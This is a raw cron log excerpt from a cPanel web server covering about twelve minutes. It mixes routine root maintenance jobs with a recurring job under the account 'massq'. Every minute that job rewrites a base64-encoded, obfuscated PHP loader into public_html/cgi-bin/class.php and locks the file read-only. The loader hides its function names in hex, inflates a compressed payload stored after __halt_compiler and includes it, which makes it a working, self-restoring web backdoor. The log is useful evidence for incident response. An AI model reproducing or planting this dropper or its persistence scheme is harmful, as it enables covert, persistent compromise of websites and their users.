Sep 11 23:08:01 server CROND[32523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:08:01 server CROND[32524]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:08:01 server CROND[32525]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:09:01 server CROND[435]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 23:09:01 server CROND[439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:09:01 server CROND[438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:09:01 server CROND[437]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:10:01 server CROND[847]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 23:10:01 server CROND[851]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:10:01 server CROND[855]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 23:10:01 server CROND[857]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 23:10:01 server CROND[860]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 23:10:01 server CROND[856]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:10:01 server CROND[858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:10:01 server CROND[861]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 23:11:01 server CROND[1772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:11:01 server CROND[1774]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:11:01 server CROND[1775]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:12:01 server CROND[2276]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:12:01 server CROND[2277]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:12:01 server CROND[2278]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 23:12:01 server CROND[2279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:13:01 server CROND[2660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:13:01 server CROND[2661]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:13:01 server CROND[2662]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:14:01 server CROND[3113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:14:01 server CROND[3114]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:14:01 server CROND[3115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:15:01 server CROND[3504]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 23:15:01 server CROND[3505]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 23:15:01 server CROND[3506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:15:01 server CROND[3508]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 23:15:01 server CROND[3509]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:15:01 server CROND[3513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:15:01 server CROND[3511]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 23:15:01 server CROND[3510]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 23:16:01 server CROND[4355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:16:01 server CROND[4356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:16:01 server CROND[4357]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:17:01 server CROND[4815]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:17:01 server CROND[4816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:17:01 server CROND[4817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:18:01 server CROND[5209]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:18:01 server CROND[5210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:18:01 server CROND[5211]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:19:01 server CROND[5589]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:19:01 server CROND[5590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:19:01 server CROND[5591]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:20:01 server CROND[6020]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 23:20:01 server CROND[6021]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 23:20:01 server CROND[6029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:20:01 server CROND[6041]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
